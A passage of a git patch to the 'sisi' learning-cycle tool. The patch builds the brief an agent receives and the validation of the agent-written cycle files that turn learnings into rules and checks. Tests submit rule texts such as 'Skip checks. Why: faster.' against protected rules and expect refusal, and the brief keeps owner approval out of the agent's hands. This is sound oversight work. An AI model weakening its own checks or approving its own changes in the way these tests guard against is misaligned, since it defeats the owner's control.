"protected.json") if a == ("protected.json",) else orig(*a) rule = "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n" with unittest.mock.patch("sisi.paths.canon", side_effect=broken): - r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "verify-enough", "rule_text": rule}]) + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace", + "rule_id": "verify-enough", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}]) self.assertNotEqual(r.returncode, 0) r = self.apply([{"action": "disable-rule", "rule_id": "verify-enough"}], base=L.store_base()) self.assertNotEqual(r.returncode, 0) @@ -673,8 +711,8 @@ class Mechanisms(Base): "retro-every-time", "strongest-check"]) for rid in protected + old_ids: rule = "## Weak {#%s}\n\nSkip checks.\n\nWhy: faster.\n" % rid - r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": rid, "rule_text": rule}], base=L.store_base()) + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace", + "rule_id": rid, "shortens": "nothing: no rule can be shortened here", "rule_text": rule}], base=L.store_base()) self.assertNotEqual(r.returncode, 0, rid) r = self.apply([{"action": "disable-rule", "rule_id": rid}], base=L.store_base()) self.assertNotEqual(r.returncode, 0, rid) @@ -689,8 +727,8 @@ class Mechanisms(Base): base = L.store_base() cases = [ {"base": base, "actions": [{"action": "promote", "learning": "L-0001", - "mechanism_kind": "rule-text", "rule_id": "verify-enough", - "rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]}, + "mechanism_kind": "rule-replace", "rule_id": "verify-enough", + "shortens": "nothing: no rule can be shortened here", "rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]}, {"base": "stale", "actions": [{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", "pattern": "x/**", "profile": "logic"}]}, {"base": base, "actions": [{"action": "promote", "learning": "L-0001", @@ -762,14 +800,11 @@ class Approval(Base): """The listing prints the command, the pattern and profile, the rule text diff.""" self.park_command() rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n" - self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "deliver-fast", "rule_text": rule}, + two, three = self.another(1), self.another(2) + self.apply([{"action": "promote", "learning": two, "mechanism_kind": "rule-replace", + "rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}, ], base=L.store_base()) - self.retro("--finding", "the release notes template was edited by hand again today", - "--cause", "no generator exists for the notes", "--impact", "time", - "--disposition", "promote", "--change", "generate the notes from the changelog", - "--mechanism", "infrastructure", "--expect", "no hand edits", "--validate", "diff the output") - self.apply([{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk", + self.apply([{"action": "promote", "learning": three, "mechanism_kind": "risk", "pattern": "src/auth/**", "profile": "trivial"}], base=L.store_base()) out = self.sisi("approve").stdout self.assertIn("make deploy --force-everything", out) @@ -1140,8 +1175,8 @@ class Cycle(Base): before = f.read() r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk", "pattern": "f.txt", "profile": "logic"}, - {"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-text", - "rule_id": "huge-rule", "rule_text": big}]) + {"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-replace", + "rule_id": "huge-rule", "shortens": "nothing: no rule can be shortened here", "rule_text": big}]) self.assertNotEqual(r.returncode, 0) self.assertIn("budget", r.stderr) self.assertFalse(self.exists("overlay/risk-adjustments.json")) @@ -1236,7 +1271,7 @@ class Cycle(Base): self.assertEqual(self.rows()[0]["status"], "promoted") self.assertEqual(self.sisi("cycle", "revert").returncode, 0) self.assertFalse(self.exists("overlay/enforced.json")) - self.assertEqual(self.rows()[0]["status"], "proposed") + self.assertEqual(self.rows()[0]["status"], "proposed") # no decision waits for it any more class Migration(Base): @@ -1434,8 +1469,8 @@ class Product(Base): self.assertNotIn("L-0001", self.sisi("rule", "deliver-fast", cwd=self.other_project("o2")).stdout) self.earn("L-0001") rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n" - self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", - "rule_id": "deliver-fast", "rule_text": rule}]).returncode, 0) + self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace", + "rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}]).returncode, 0) with self.tty(): self.sisi("approve", "P-0001", "--yes") hist = self.sisi("rule", "deliver-fast").stdout From 33427c0394e27399c13f0558cd5b98588c98eab7 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:34:16 -0700 Subject: [PATCH 4/8] Items 6, 7, 8, 10: rule-add/rule-replace with shortens, every problem reported at once, merge and specific reject, a self-contained brief of at most 6000 characters and 8 learnings, apply summary in 15 lines, status --learning, lessons ID. done / next: docs, repeat runs, rehearsal Co-Authored-By: Claude Sonnet 5.5 --- sisi/cycle.py | 233 ++++++++++++++++++-------- sisi/learning.py | 5 +- tests/test_cycle_hardening.py | 297 ++++++++++++++++++++++++++++++++++ tests/test_learning_loop.py | 4 +- 4 files changed, 465 insertions(+), 74 deletions(-) diff --git a/sisi/cycle.py b/sisi/cycle.py index 49380cf..2f0fafa 100644 --- a/sisi/cycle.py +++ b/sisi/cycle.py @@ -1,39 +1,37 @@ """The learning cycle: proposed learnings become mechanisms in the user store. -Due by a counter (no scheduler). A worker writes a cycle file; `sisi cycle apply FILE` -treats it as untrusted input, validates and plans everything before writing anything, -replays command checks against the originating unit's commits in a temporary worktree -(one replay implementation: evaluate.validate_command), refuses protected rules, parks -consequential changes for the owner (`sisi approve`), and commits each change to the user -store so revert is exact. What cannot be replayed is `unvalidated` and always reported as -such; nothing is labelled `validated` without a validation run that passed. +Due by a counter (no scheduler): learnings a cycle can act on (`proposed`, not tool changes, not +waiting for the owner). `sisi cycle` prints a brief a small agent can act on alone: the file format +with an example per action, every enumerated value, what each kind of action does, and at most +eight learnings with statement, origin and whether commits are recorded, in at most 6000 +characters. The agent writes a cycle file. `sisi cycle check FILE` runs nothing and lists every +problem at once; `sisi cycle apply FILE` treats the file as untrusted input, validates and plans +everything before writing anything, replays command checks (one replay implementation: +evaluate.validate_command) only between the two commits the learning's own record holds, in an +exported copy of each tree with no history and a reduced environment, refuses protected rules, +parks consequential changes for the owner (`sisi approve`, which needs the word typed at the +terminal), and commits each change to the user store so revert is exact. What cannot be replayed is +`unvalidated` and always reported as such; nothing is labelled `validated` without a validation run +that passed. What a mechanism reaches is decided here from the learning, never from the cycle file: a mechanism is written with the learning's id and the scope the learning has *earned* (learning.earned_scope: its origin project, unless it was seen in two units in two projects or is an owner statement made at user scope). A scope or `every_project` flag in the file is only a request for more; a request for more than the learning has earned, any enforced command that -is not proven in its origin project, any risk pattern that lowers a profile, any replacement or -disabling of a rule, and any rule or library entry from a learning confined to one project -wait for the owner. Readers filter by project; nothing reads a flag the cycle author wrote. +is not proven in its origin project, any risk pattern that lowers a profile, any whole-rule +replacement or disabling of a rule, any sentence added to a rule or library entry from a learning +confined to one project, and any mechanism for a project that no longer exists wait for the owner. +Readers filter by project; nothing reads a flag the cycle author wrote. -Cycle file (JSON): - {"base": "", "actions": [ - {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", - "cmd": "...", "expect": {"exit": 0}, "before": "", "after": ""}, - {"action": "promote", "learning": "L-0002", "mechanism_kind": "contract-requirement", - "when": "csv import", "require_kind": "property"}, - {"action": "promote", "learning": "L-0003", "mechanism_kind": "rule-text", - "rule_id": "new-rule", "rule_text": "## Title {#new-rule}\\n\\n... Why: ..."}, - {"action": "promote", "learning": "L-0004", "mechanism_kind": "library", - "library_kind": "recipe"|"verifier", "entry_text": "..."}, - {"action": "promote", "learning": "L-0005", "mechanism_kind": "risk", - "pattern": "src/auth/**", "profile": "critical"}, - {"action": "promote", "learning": "L-0006", "mechanism_kind": "routing", - "kind": "impl", "difficulty": 2, "prefer": "worker-x"}, - {"action": "promote", "learning": "L-0007", "mechanism_kind": "benchmark", - "name": "csv-import", "case": {"...": "..."}}, - {"action": "revise"|"revert"|"reject", "learning": "L-0008", "why": "..."}]} +A learning waiting for the owner is `pending-approval`; a change to sisi itself is `backlog` (it +goes out with `sisi promote --export`). Neither is in a brief or counts towards "due". + +Actions (the brief carries a filled example of each): promote with mechanism_kind +command-check, contract-requirement (`when` is a risk profile or a path glob), rule-add (one or +two sentences before a rule's Why, naming what it shortens), rule-replace (the whole rule, always +the owner's), library, risk, routing, benchmark; reject (a specific reason), merge (into another +learning), revise, revert; disable-rule. Mechanism data files (user store overlay); every entry carries learning, scope, project: enforced.json {"checks": [{"type": "command"|"contract-requirement", "learning": id, ...}]} @@ -222,28 +220,109 @@ def due_notice(session=None): return "\n".join(lines) +BRIEF_MAX_LEARNINGS = 8 +BRIEF_MAX_CHARS = 6000 +STATEMENT_MAX = 600 # a longer statement is cut, with the command that shows it whole + +FORMAT = """Write one JSON file, then run `sisi cycle check FILE` (runs nothing; lists every problem at once) and +`sisi cycle apply FILE`. Never run `sisi approve`: only the owner decides what waits. +{"base": "@BASE@", "actions": [ one action per learning below; leave a learning out to leave it ]} +Actions (L-0000 stands for an id listed below): + {"action":"promote","learning":"L-0000","mechanism_kind":"command-check","cmd":"grep -q fixed f.txt","expect":{"exit":0}} + {"action":"promote","learning":"L-0000","mechanism_kind":"contract-requirement","when":"src/auth/**","require_kind":"parsing"} + {"action":"promote","learning":"L-0000","mechanism_kind":"rule-add","rule_id":"deliver-fast","add":"One or two sentences.","shortens":"nothing: "} + {"action":"promote","learning":"L-0000","mechanism_kind":"rule-replace","rule_id":"deliver-fast","rule_text":"## Title {#deliver-fast}\\n\\nBody.\\n\\nWhy: ...","shortens":"..."} + {"action":"promote","learning":"L-0000","mechanism_kind":"library","library_kind":"recipe","entry_text":"---\\nid: x\\n---\\n..."} + {"action":"promote","learning":"L-0000","mechanism_kind":"risk","pattern":"src/auth/**","profile":"critical"} + {"action":"promote","learning":"L-0000","mechanism_kind":"routing","kind":"impl","difficulty":2,"prefer":"worker-x"} + {"action":"promote","learning":"L-0000","mechanism_kind":"benchmark","name":"csv-import","case":{...}} + {"action":"reject","learning":"L-0000","why":"names the evidence: the retry loop in sync.py was already removed"} + {"action":"merge","learning":"L-0000","into":"L-9999","why":"same cause"} {"action":"revise"|"revert","learning":"L-0000","why":"..."} +Values: mechanism_kind @KINDS@; risk profile @PROFILES@; require_kind @REQKINDS@; + library_kind recipe|verifier; difficulty 1|2|3; when = a risk profile (that or higher) or a path glob. +A command check: cmd must name a path the fix changed; apply replays it in a copy of the tree without .git, between the + commits recorded for the learning (never ones you write): it must fail at the start and pass at the end. No commits: it waits. +Takes effect at once: reject, merge, revise, revert; risk (not lowering), routing, benchmark, contract-requirement; a replayed + command check; rule-add and library only from a learning seen in 2 units in 2 projects. +Held for the owner: rule-replace, disable-rule, rule-add or library from a one-project learning, a command check that was not + replayed, risk that lowers a profile, scope beyond what was earned, a project gone from disk. +Refused (whole file, every reason listed): protected rules (@PROTECTED@), a vacuous or failed replay, a generic reject reason, + a learning acted on twice or already waiting, a rule with a change waiting, a rulebook over @BUDGET@, a flagged learning left out. +Rules you may change (id): @RULES@. Rulebook now @SIZE@. Adding to it means naming what it shortens, or "nothing: ". +""" + + +def _learning_block(r): + pr = r.get("proposed") or {} + prov = r.get("provenance") or [] + units = len({p.get("unit") for p in prov}) + projects = len({p.get("project") for p in prov}) + stmt = " ".join(str(pr.get("description") or r.get("title") or "").split()) + if len(stmt) > STATEMENT_MAX: + stmt = stmt[:STATEMENT_MAX].rstrip() + " ... (`sisi lessons %s` shows it whole)" % r["id"] + commits = "yes" if L.replay_commits(r) else "no" + lines = ["- %s [%s; earned scope %s; seen in %d unit(s), %d project(s)]" % ( + r["id"], pr.get("mechanism") or "policy", L.earned_scope(r), units, projects), + " statement: %s" % stmt, + " origin: %s, unit %s, commits recorded: %s" % (os.path.basename(str(r.get("origin_project") or "").rstrip("/")) or "?", + r.get("source_unit") or "?", commits)] + if r.get("expected_effect"): + lines.append(" expected effect: %s" % " ".join(str(r["expected_effect"]).split())[:160]) + return "\n".join(lines) + + +def _rank(rows): + """The most recurrent first, then the oldest; flagged learnings (which the cycle must act on) lead.""" + def key(r): + prov = r.get("provenance") or [] + return (0 if r.get("flagged_not_working") else 1, -len({p.get("unit") for p in prov}), str(r.get("created") or ""), + r["id"]) + return sorted(rows, key=key) + + +def format_text(base): + from . import risk, contract as _contract + rules = overlay.effective()[1] + prot = protected_rules() + ids = ", ".join(r["id"] for r in rules if r["id"] not in prot) + lines, chars = _book_size() + return (FORMAT.replace("@BASE@", base).replace("@KINDS@", "|".join(MECHANISM_KINDS)) + .replace("@PROFILES@", "|".join(risk.PROFILES)).replace("@REQKINDS@", "|".join(_contract.KINDS)) + .replace("@PROTECTED@", ", ".join(sorted(p for p in prot if p in {r["id"] for r in rules}))) + .replace("@BUDGET@", "%d lines/%d characters" % (overlay.MAX_LINES, overlay.MAX_CHARS)) + .replace("@RULES@", ids).replace("@SIZE@", "%d lines/%d characters" % (lines, chars))) + + def brief_text(): + """The whole brief for a cheap agent working alone: the file format with one example per action, + every enumerated value, what happens to each kind of action, and at most BRIEF_MAX_LEARNINGS + learnings (flagged first, then the most recurrent, then the oldest), each with its statement, + origin project, source unit and whether commits are recorded, in at most BRIEF_MAX_CHARS.""" rows = L.load_learnings() changed = L.monitor(rows) if changed: L.save_learnings(rows, "monitoring: %d learning(s) now monitored" % len(changed), touched=changed, via="cycle") - lines = ["Learning cycle brief. Base: %s" % L.store_base(rows), "", - "Write one cycle file (JSON, format in `sisi cycle help`) turning proposed " - "learnings into mechanisms. Prefer an executable mechanism over rule text. " - "A command check is replayed against its unit's commits and must fail before " - "the fix and pass after (the repository must be trusted and the command must exist " - "at both commits). A mechanism reaches only the scope its learning has earned; " - "anything wider, any command that is not proven, any replaced or disabled rule " - "waits for the owner. Protected rules (canon/protected.json) cannot be touched.", ""] - for r in proposed(rows): - lines.append("- %s [%s] %s (earned scope: %s)\n change: %s\n expect: %s validate: %s" - % (r["id"], r.get("proposed", {}).get("mechanism"), r.get("title"), L.earned_scope(r), - r.get("proposed", {}).get("description"), r.get("expected_effect"), - (r.get("validation") or {}).get("method"))) - for r in L.flagged(rows): - lines.append("- %s FLAGGED NOT WORKING (%d recurrences since promotion): this cycle " - "must revise or revert it." % (r["id"], r.get("recurrences_after_promotion", 0))) - return "\n".join(lines) + "\n" + base = L.store_base(rows) + flagged = {r["id"] for r in L.flagged(rows)} + todo = _rank([r for r in proposed(rows) if r["id"] not in flagged] + L.flagged(rows)) + text = "Learning cycle brief.\n" + format_text(base) + blocks, left = [], 0 + for r in todo[:BRIEF_MAX_LEARNINGS]: + if r["id"] in flagged: + blk = "- %s FLAGGED NOT WORKING (%d recurrences since promotion): act on it with revise or revert." % ( + r["id"], r.get("recurrences_after_promotion", 0)) + else: + blk = _learning_block(r) + if len(text) + sum(len(b) + 1 for b in blocks) + len(blk) + 120 > BRIEF_MAX_CHARS and r["id"] not in flagged: + left += 1 + continue + blocks.append(blk) + left += max(0, len(todo) - BRIEF_MAX_LEARNINGS) + out = text + "Learnings (%d of %d; the most recurrent first, then the oldest):\n" % (len(blocks), len(todo)) \ + + ("\n".join(blocks) if blocks else "(none a cycle can act on)") + "\n" + if left: + out += "%d more wait for the next cycle.\n" % left + return out # ---- replay validation (one implementation: evaluate.validate_command) ----------------- @@ -1175,40 +1254,52 @@ def cmd_approve(argv): return 2 -HELP = """sisi cycle: turn proposed learnings into mechanisms. JSON cycle file: - {"base": "", "actions": [ ... ]} -promote actions, by mechanism_kind: - command-check {learning, cmd, expect?, before?, after?} replayed in the origin project's trusted - repository: it must exist at both commits, fail before and pass after - contract-requirement {learning, when, require_kind, max_rung?} - rule-text {learning, rule_id, rule_text} (protected rules refused) - library {learning, library_kind: recipe|verifier, entry_text, entry_id?, replacing?} - risk {learning, pattern, profile} -> overlay/risk-adjustments.json - routing {learning, kind, difficulty?, prefer|avoid} -> overlay/routing-adjustments.json - benchmark {learning, name, case:{...}} -> overlay/benchmarks/.json -other actions: {action: revise|revert|reject, learning, why}; {action: disable-rule, rule_id} -Every mechanism is written with its learning's id and the scope that learning has earned (its origin -project unless it was seen in two units in two projects, or is an owner statement); a scope or -every_project flag only asks for more. These wait for the owner (`sisi approve`, in a terminal): -more scope than earned, a command not proven by replay, a risk pattern that lowers a profile, a -replaced or disabled rule, a rule or library entry from a learning confined to one project. -A cycle that ignores a flagged learning is refused. `sisi cycle revert` undoes only that cycle's changes. -""" +APPLY_LINES = 15 # what `apply` prints at most + + +def _capped(lines, n=APPLY_LINES): + return lines if len(lines) <= n else lines[:n - 1] + ["... and %d more line(s)" % (len(lines) - n + 1)] + + +def _summary(cid, lines): + """What took effect, what waits and what was refused, in at most APPLY_LINES lines.""" + wait = [x for x in lines if "waits for the owner" in x] + took = [x for x in lines if x not in wait] + head = "%s applied: %d took effect, %d wait for the owner, 0 refused" % (cid, len(took), len(wait)) + body = ["took effect: " + x for x in took] + ["waits: " + x.split(": `sisi approve`")[0] for x in wait] + if wait: + body.append("the owner decides: `sisi approve` lists each in full, then `sisi approve ID --yes|--no`") + return [head] + _capped(body, APPLY_LINES - 1) + + +def _check_summary(plan): + cmds = sum(1 for p in plan if p["kind"] == "promote" and p["action"].get("mechanism_kind") == "command-check") + wait = sum(1 for p in plan if p["pending"] and not (p["kind"] == "promote" + and p["action"].get("mechanism_kind") == "command-check")) + lines = ["valid: %d action(s); %d apply at once, %d wait for the owner%s" % ( + len(plan), len(plan) - wait - cmds, wait, + ", %d command check(s) are replayed only by `apply`, which decides whether each takes effect or waits" % cmds + if cmds else "")] + for p in plan: + if p["pending"] and p["reasons"] and not (p["kind"] == "promote" + and p["action"].get("mechanism_kind") == "command-check"): + lines.append("waits: %s: %s" % (p["rec"]["id"] if p["rec"] else p["action"].get("rule_id"), + "; ".join(p["reasons"]))) + return _capped(lines) def cmd_cycle(args): if args and args[0] == "help": - sys.stdout.write(HELP) + sys.stdout.write(format_text("")) return 0 if args and args[0] == "apply" and len(args) > 1: try: cid, lines = apply_file(args[1]) except (CycleError, OSError, documents.DocumentError, overlay.OverlayError) as e: - print("sisi cycle: %s" % e, file=sys.stderr) + msg = str(e).splitlines() + print("\n".join(_capped(["sisi cycle: " + msg[0]] + msg[1:])), file=sys.stderr) return 2 - print("%s applied:" % cid) - for x in lines: - print("- " + x) + print("\n".join(_summary(cid, lines))) return 0 if args and args[0] == "check" and len(args) > 1: try: @@ -1216,10 +1307,10 @@ def cmd_cycle(args): doc = json.load(f) plan = validate_doc(doc, L.load_learnings(), run=False) except (CycleError, OSError, ValueError, documents.DocumentError, overlay.OverlayError) as e: - print("sisi cycle: %s" % e, file=sys.stderr) + msg = str(e).splitlines() + print("\n".join(_capped(["sisi cycle: " + msg[0]] + msg[1:])), file=sys.stderr) return 2 - wait = sum(1 for p in plan if p["pending"]) - print("valid: %d action(s) apply at once, %d wait for the owner" % (len(plan) - wait, wait)) + print("\n".join(_check_summary(plan))) return 0 if args and args[0] == "revert": try: diff --git a/sisi/learning.py b/sisi/learning.py index 6dd6a19..beebd68 100644 --- a/sisi/learning.py +++ b/sisi/learning.py @@ -39,7 +39,10 @@ GENERIC_WORDS = set(( "went go goes gone smooth smoothly expected nicely perfect perfectly success successful successfully " "finished complete completed happened happen hitch hitches without notable remarkable report reported " "particular special specific cause causes reason reasons known unknown clear obvious say said " - "passed pass green").split()) + "passed pass green " + # a verdict with no reason ("not useful", "wrong idea") says nothing about what is wrong + "useful useless unneeded unnecessary needed relevant irrelevant important valuable worthwhile pointless " + "redundant wrong incorrect invalid idea ideas").split()) class LearningError(Exception): diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 6960f13..9c7abd8 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -548,3 +548,300 @@ class Duplicates(Base): r = self.apply([{"action": "disable-rule", "rule_id": "deliver-fast"}], base=L.store_base()) self.assertIn("already has a change", r.stderr) self.assertEqual(len(self.pending()), 1) + + +class Rules(Base): + """R-11.5-10, R-11.5-11, R-11.7-2 (item 6): rule text is an addition by default.""" + + def add(self, lid, rid="deliver-fast", text="Hand the owner a first useful result early, then refine it.", + shortens="nothing: every sentence of the rule is needed", **kw): + a = {"action": "promote", "learning": lid, "mechanism_kind": "rule-add", "rule_id": rid, "add": text} + if shortens is not None: + a["shortens"] = shortens + a.update(kw) + return a + + def test_rule_add_goes_before_why_waits_for_a_one_project_learning_and_prints_the_size(self): + from sisi import overlay + _contract(self) + self.git_init() + self.retro(*PROMOTE[1:]) + r = self.apply([self.add("L-0001", text="Name the first useful result in the plan. Hand it over early.")]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(len(self.pending()), 1) + self.assertEqual(self.pending()[0]["action"]["mechanism_kind"], "rule-add") + self.assertNotIn("Name the first useful", overlay.render()) + listing = self.sisi("approve").stdout + self.assertIn("Name the first useful result in the plan.", listing) + self.assertIn("what it shortens: nothing", listing) + with terminal(): + r = self.sisi("approve", "P-0001", "--yes") + self.assertEqual(r.returncode, 0, r.stderr) + self.assertRegex(r.stdout, r"the loaded rulebook went from \d+ to \d+ lines, \d+ to \d+ characters") + body = overlay.render().split("{#deliver-fast}", 1)[1].split("{#orchestrate}", 1)[0] + self.assertLess(body.index("Hand it over early."), body.index("Why:")) + self.assertIn("Never buy speed with a weaker check or a smaller result. Name the first", body) # same paragraph + + def test_the_applied_message_prints_the_size_before_and_after(self): + """Item 6: an applied rule-add (a learning that earned its scope) says what it cost the loaded rulebook.""" + _contract(self) + self.retro(*PROMOTE[1:]) + self.earn("L-0001") + r = self.apply([self.add("L-0001")], base=L.store_base()) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertRegex(r.stdout, r"went from \d+ to \d+ lines, \d+ to \d+ characters") + self.assertEqual(self.pending(), []) + + def test_twenty_sentences_are_refused_and_so_is_an_add_that_names_nothing_it_shortens(self): + """Item 6 abuse case: 20 sentences in one add; twenty adds that say nothing about what they shorten.""" + _contract(self) + self.retro(*PROMOTE[1:]) + twenty = " ".join("Sentence number %d says something about delivering." % i for i in range(20)) + r = self.apply([self.add("L-0001", text=twenty)]) + self.assertEqual(r.returncode, 2) + self.assertIn("one or two plain sentences", r.stderr) + ids = ["L-0001"] + [self.another(n) for n in range(1, 20)] + rules = ["deliver-fast", "orchestrate", "size-by-risk", "own-the-outcome"] + acts = [self.add(lid, rid=rules[n % 4], shortens=None) for n, lid in enumerate(ids)] + r = self.apply(acts, base=L.store_base()) + self.assertEqual(r.returncode, 2) + self.assertIn("20 problem(s)", r.stderr) # all of them are reported, and the output stays short + self.assertLessEqual(len(r.stderr.splitlines()), 15) + self.assertGreaterEqual(r.stderr.count("needs \"shortens\""), 10) + self.assertFalse(self.exists("overlay/rules")) # nothing was applied + # a shortens that names no rule and does not say nothing is refused too + r = self.apply([self.add("L-0001", shortens="some other thing entirely")]) + self.assertIn("must name an existing rule id", r.stderr) + + def test_the_rulebook_budget_still_holds_and_is_reported_with_the_other_problems(self): + _contract(self) + self.retro(*PROMOTE[1:]) + big = "## Huge {#huge-rule}\n\n" + "\n".join("line %d of the rule" % i for i in range(400)) + "\n\nWhy: no.\n" + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace", + "rule_id": "huge-rule", "rule_text": big}]) + self.assertEqual(r.returncode, 2) + self.assertIn("needs \"shortens\"", r.stderr) # both problems of the one action are not hidden: first found + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace", + "rule_id": "huge-rule", "rule_text": big, "shortens": "nothing: it is all new"}]) + self.assertIn("breaks the rulebook budget", r.stderr) + + def test_protected_rules_and_unknown_rules_are_refused_for_rule_add(self): + """R-11.7-2: protected under its id and under a retired id; the existing tests keep the rest.""" + _contract(self) + self.retro(*PROMOTE[1:]) + r = self.apply([self.add("L-0001", rid="verify-enough")]) + self.assertIn("protected", r.stderr) + r = self.apply([self.add("L-0001", rid="no-such-rule")]) + self.assertIn("no rule 'no-such-rule'", r.stderr) + + def test_rule_text_is_gone_with_a_message_that_says_what_to_use(self): + _contract(self) + self.retro(*PROMOTE[1:]) + r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text", + "rule_id": "deliver-fast", "rule_text": "## X {#deliver-fast}\n\nA.\n\nWhy: b.\n"}]) + self.assertIn("use rule-add", r.stderr) + + +class Check(Base): + """R-11.5-6, R-16-7 (items 7 and 10): check lists every problem at once, each with how to fix it.""" + + def test_one_check_lists_every_problem(self): + _contract(self) + self.git_init() + ids = [self.another(n) for n in range(6)] + rows = self.rows() + rows[5]["flagged_not_working"] = True + L.save_learnings(rows, "t", touched=rows, via="test") + acts = [ + {"action": "reject", "learning": ids[0], "why": "not useful"}, + {"action": "promote", "learning": ids[1], "mechanism_kind": "rule-add", "rule_id": "deliver-fast", + "add": "Hand the owner a first useful result early."}, + {"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement", + "when": "csv import", "require_kind": "parsing"}, + {"action": "promote", "learning": "L-0099", "mechanism_kind": "risk", "pattern": "x", "profile": "critical"}, + {"action": "promote", "learning": ids[3], "mechanism_kind": "command-check", "cmd": "echo ok"}, + {"action": "frobnicate", "learning": ids[4]}, + ] + p = self.cycle_file(acts, base="stale") + r = self.sisi("cycle", "check", p) + self.assertEqual(r.returncode, 2) + self.assertIn("7 problem(s)", r.stderr) + for fragment in ("stale or missing \"base\"", "generic", "needs \"shortens\"", "not something the code evaluates", + "no learning 'L-0099'", "unknown action 'frobnicate'", "flagged-not-working"): + self.assertIn(fragment, r.stderr) + self.assertLessEqual(len(r.stderr.splitlines()), 15) + # each problem says how to fix it; fix them all and the next check passes + acts = [{"action": "reject", "learning": ids[0], "why": "the importer fix removed the %s row loss" % "alpha"}, + {"action": "promote", "learning": ids[1], "mechanism_kind": "rule-add", "rule_id": "deliver-fast", + "add": "Hand the owner a first useful result early.", "shortens": "nothing: every sentence is needed"}, + {"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement", + "when": "data/*.csv", "require_kind": "parsing"}, + {"action": "revert", "learning": ids[5], "why": "recurred twice since promotion"}] + r = self.sisi("cycle", "check", self.cycle_file(acts)) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertIn("valid: 4 action(s)", r.stdout) + + def test_a_reject_with_a_generic_reason_is_refused_and_a_specific_one_is_not(self): + _contract(self) + self.retro(*PROMOTE[1:]) + r = self.apply([{"action": "reject", "learning": "L-0001", "why": "not useful"}]) + self.assertEqual(r.returncode, 2) + self.assertIn("generic", r.stderr) + self.assertEqual(self.rows()[0]["status"], "proposed") + r = self.apply([{"action": "reject", "learning": "L-0001", + "why": "f.txt is generated now, so a content check on it cannot fail"}]) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(self.rows()[0]["status"], "rejected") + + def test_merge_into_another_learning(self): + _contract(self) + self.retro(*PROMOTE[1:]) + self.retro("--new", *PROMOTE[1:]) # the same words again, as its own learning: L-0002 + self.assertEqual(len(self.rows()), 2) + r = self.apply([{"action": "merge", "learning": "L-0002", "into": "L-0001", "why": "same finding"}]) + self.assertEqual(r.returncode, 0, r.stderr) + rows = {x["id"]: x for x in self.rows()} + self.assertEqual((rows["L-0002"]["status"], rows["L-0002"]["merged_into"]), ("merged", "L-0001")) + self.assertEqual(rows["L-0001"]["status"], "proposed") + self.assertEqual(rows["L-0001"]["history"][-1]["learning"], "L-0002") + # into itself, into a learning that is gone, into one that shares nothing: refused + other = self.another(5) + for into, frag in (("L-0001", "different learning"), ("L-0099", "different learning"), (other, "share too little")): + r = self.apply([{"action": "merge", "learning": "L-0001", "into": into}], base=L.store_base()) + self.assertEqual(r.returncode, 2) + self.assertIn(frag, r.stderr) + self.assertEqual(self.apply([{"action": "merge", "learning": other, "into": "L-0002"}], + base=L.store_base()).returncode, 2) # into a merged (ended) learning + + def test_apply_prints_what_took_effect_what_waits_and_what_was_refused_in_fifteen_lines(self): + self.git_init() + _contract(self) + ids = [self.another(n) for n in range(20)] + acts = [] + for n, lid in enumerate(ids): + if n % 2: + acts.append({"action": "promote", "learning": lid, "mechanism_kind": "command-check", "cmd": "make x%d" % n}) + else: + acts.append({"action": "reject", "learning": lid, "why": "the %s importer path was deleted last week" % lid}) + r = self.apply(acts) + self.assertEqual(r.returncode, 0, r.stderr) + lines = r.stdout.splitlines() + self.assertLessEqual(len(lines), 15) + self.assertRegex(lines[0], r"cycle-0001 applied: 10 took effect, 10 wait for the owner, 0 refused") + self.assertIn("... and", r.stdout) + + def test_status_learning_prints_only_the_learning_report_and_lessons_shows_one(self): + _contract(self) + self.retro(*PROMOTE[1:]) + r = self.sisi("status", "--learning") + self.assertEqual(r.returncode, 0) + self.assertTrue(r.stdout.startswith("Learning loop"), r.stdout[:80]) + self.assertNotIn("closed work units yet", r.stdout) + self.assertNotIn("recent units", r.stdout) + self.assertIn("by status: proposed 1", r.stdout) + one = self.sisi("lessons", "L-0001") + self.assertEqual(one.returncode, 0) + self.assertEqual(json.loads(one.stdout)["id"], "L-0001") + self.assertEqual(self.sisi("lessons", "L-0042").returncode, 2) + self.assertEqual(self.sisi("lessons", "show", "L-0001").stdout, one.stdout) + + +class Brief(Base): + """R-11.1-14, R-11.5-4, R-16-10 (item 8): a small model can act on the brief alone.""" + + def many(self, n, long=False): + _contract(self) + words = "alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima 